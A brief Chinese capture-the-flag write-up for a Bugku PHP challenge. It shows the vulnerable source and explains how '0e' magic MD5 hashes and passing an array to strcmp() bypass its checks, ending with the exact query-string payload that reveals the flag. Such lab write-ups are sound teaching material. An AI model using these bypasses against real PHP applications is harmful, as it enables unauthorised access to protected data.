Bugku-8.前女友-MD5,strcmp()绕过
源码发现链接
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
1.需要get传入v1,v2,v3
2.v1!=v2,且v1和v2的md5相等(难道是找碰撞?)
3.strcmp()
返回值:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
区分大小写,!strcmp($v3, $flag)要为1,意思是v3为flag的内容
MD5绕过的技巧 - _Whoami - 博客园 (cnblogs.com)
php在处理0e开头的字符串存在缺陷,0e开头字符串相比较,会相等,也就是说"0e123"=="0e456"
的值是1。
所以在处理的时候,推荐使用全等于===
md5('240610708') ==md5('QNKCDZO')
返回True
strcmp()5.3之后的有这个漏洞:
strcmp函数无法比较数组,对象,会返回0
输入?v1=240610708&v2=QNKCDZO&v3[]=1
获得flag